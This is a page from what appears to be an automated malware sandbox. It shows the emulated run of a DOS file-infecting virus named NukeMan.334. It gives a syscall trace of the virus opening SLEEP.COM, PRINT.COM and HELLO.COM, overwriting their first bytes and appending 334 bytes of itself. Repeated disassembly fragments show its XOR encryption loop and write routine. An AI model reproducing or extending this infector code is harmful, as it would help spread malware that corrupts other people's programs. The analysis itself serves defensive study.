Sample viewer

vx.netlux.org/Virus.DOS.VCC.NukeMan.334

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:01:17.678958337Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T23:01:17.680748922Z 78 PC: 12a8b | Find first file
2018-12-17T23:01:17.685602371Z 61 PC: 12b22 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:01:17.691150547Z 63 PC: 12b31 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:01:17.696286468Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:01:17.698402744Z 66 PC: 12b4f | Move file pointer
2018-12-17T23:01:17.700059207Z 64 PC: 12b5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:17.703257767Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:01:17.706363242Z 44 PC: 12b6b | Get time 0x12b6b: mov byte ptr [bp + 0x14e], dl
0x12b6f: call 0x12b85
0x12b72: mov ah, 0x40
0x12b74: mov cx, 0x14e
0x12b77: lea dx, word ptr [bp + 6]
0x12b7b: int 0x21
0x12b7d: call 0x12b85
0x12b80: mov ah, 0x3e
0x12b82: int 0x21
0x12b84: ret
0x12b85: lea si, word ptr [bp + 0x1f]
0x12b89: mov cx, 0x110
0x12b8c: xor byte ptr [si], 0
0x12b8f: inc si
0x12b90: dec cx
0x12b91: jne 0x12b8c
0x12b93: ret
0x12b94: add word ptr [bx], di
0x12b96: aas
0x12b97: aas
2018-12-17T23:01:17.70959789Z 64 PC: 12b7d | Write file or device (Write 334 bytes on handle 5)
2018-12-17T23:01:17.727280728Z 62 PC: 12b84 | Close file
2018-12-17T23:01:17.736795135Z 79 PC: 12a8b | Find next file
2018-12-17T23:01:17.73970325Z 61 PC: 12b22 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:01:17.747348326Z 63 PC: 12b31 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:01:17.758621228Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:01:17.760244909Z 66 PC: 12b4f | Move file pointer
2018-12-17T23:01:17.761646192Z 64 PC: 12b5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:17.766053032Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:01:17.76768531Z 44 PC: 12b6b | Get time 0x12b6b: mov byte ptr [bp + 0x14e], dl
0x12b6f: call 0x12b85
0x12b72: mov ah, 0x40
0x12b74: mov cx, 0x14e
0x12b77: lea dx, word ptr [bp + 6]
0x12b7b: int 0x21
0x12b7d: call 0x12b85
0x12b80: mov ah, 0x3e
0x12b82: int 0x21
0x12b84: ret
0x12b85: lea si, word ptr [bp + 0x1f]
0x12b89: mov cx, 0x110
0x12b8c: xor byte ptr [si], 0x43
0x12b8f: inc si
0x12b90: dec cx
0x12b91: jne 0x12b8c
0x12b93: ret
0x12b94: add word ptr [bx], di
0x12b96: aas
0x12b97: aas
2018-12-17T23:01:17.770130595Z 64 PC: 12b7d | Write file or device (Write 334 bytes on handle 5)
2018-12-17T23:01:17.773293268Z 62 PC: 12b84 | Close file
2018-12-17T23:01:17.782424946Z 79 PC: 12a8b | Find next file
2018-12-17T23:01:17.785438709Z 61 PC: 12b22 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:01:17.792289152Z 63 PC: 12b31 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:01:17.80014319Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:01:17.801924397Z 66 PC: 12b4f | Move file pointer
2018-12-17T23:01:17.803737113Z 64 PC: 12b5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:01:17.809582637Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:01:17.811107332Z 44 PC: 12b6b | Get time 0x12b6b: mov byte ptr [bp + 0x14e], dl
0x12b6f: call 0x12b85
0x12b72: mov ah, 0x40
0x12b74: mov cx, 0x14e
0x12b77: lea dx, word ptr [bp + 6]
0x12b7b: int 0x21
0x12b7d: call 0x12b85
0x12b80: mov ah, 0x3e
0x12b82: int 0x21
0x12b84: ret
0x12b85: lea si, word ptr [bp + 0x1f]
0x12b89: mov cx, 0x110
0x12b8c: xor byte ptr [si], 0x43
0x12b8f: inc si
0x12b90: dec cx
0x12b91: jne 0x12b8c
0x12b93: ret
0x12b94: add word ptr [bx], di
0x12b96: aas
0x12b97: aas
2018-12-17T23:01:17.813412554Z 64 PC: 12b7d | Write file or device (Write 334 bytes on handle 5)
2018-12-17T23:01:17.817361364Z 62 PC: 12b84 | Close file
2018-12-17T23:01:17.82575191Z 26 PC: 12aa5 | Set disk transfer address